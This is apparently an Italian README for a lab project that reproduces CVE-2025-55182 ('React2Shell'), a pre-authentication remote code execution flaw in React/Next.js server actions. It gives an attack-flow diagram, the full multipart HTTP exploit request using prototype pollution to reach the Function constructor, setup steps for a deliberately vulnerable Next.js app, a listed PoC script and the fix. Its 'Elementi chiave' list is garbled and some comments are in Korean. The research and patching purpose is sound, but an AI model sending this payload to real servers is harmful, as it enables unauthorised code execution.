
Abbiamo creato e testato un campione per la vulnerabilità CVE-2025-55182 insieme all'IA.
AI utilizzato: Claude Opus 4.5 ⚠️ Avvertenza: Questo ambiente è destinato esclusivamente a scopi educativi e di ricerca.
| Item | Content |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Nome | React2Shell |
| CVSS | 10.0 (Critical) |
| Tipo | Pre-Auth Remote Code Execution |
| Causa | Inquinamento del prototipo durante la deserializzazione del protocollo Flight |
┌─────────────────────────┐
│ Attaccante │
└───────────┬─────────────┘
│
Richiesta POST + Intestazione Next-Action
Payload multipart/form-data
│
▼
┌───────────────────────────────────────────────────────────┐
│ Server Next.js │
├───────────────────────────────────────────────────────────┤
│ 1. Intestazione Next-Action → Attivazione Server Action │
│ 2. Payload multipart → Deserializzazione protocollo Flight│
│ 3. Chiamata del metodo then() dell'oggetto Fake Chunk │
│ 4. Riferimento __proto__ → Inquinamento del prototipo │
│ 5. Iniezione costruttore Function → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
Elementi chiave:
Next-Actionthen method for promise-like behavior$@0Function tramite __proto__:thencd vulnerable-app
# Installazione delle dipendenze
npm install
# Avvio del server di sviluppo
npm run dev
Accesso su http://localhost:3000
react-rce/
├── README.md
├── vulnerable-app/ # 취약한 Next.js 앱
│ ├── package.json # Next.js 15.0.3 (취약 버전)
│ └── app/
│ ├── page.js # UI (CVE 정보 + RCE 시연)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # 공격 도구 (선택)
└── exploit.py # CVE-2025-55182 PoC
# Aggiornamento alle versioni corrette
npm install [email protected] [email protected] [email protected]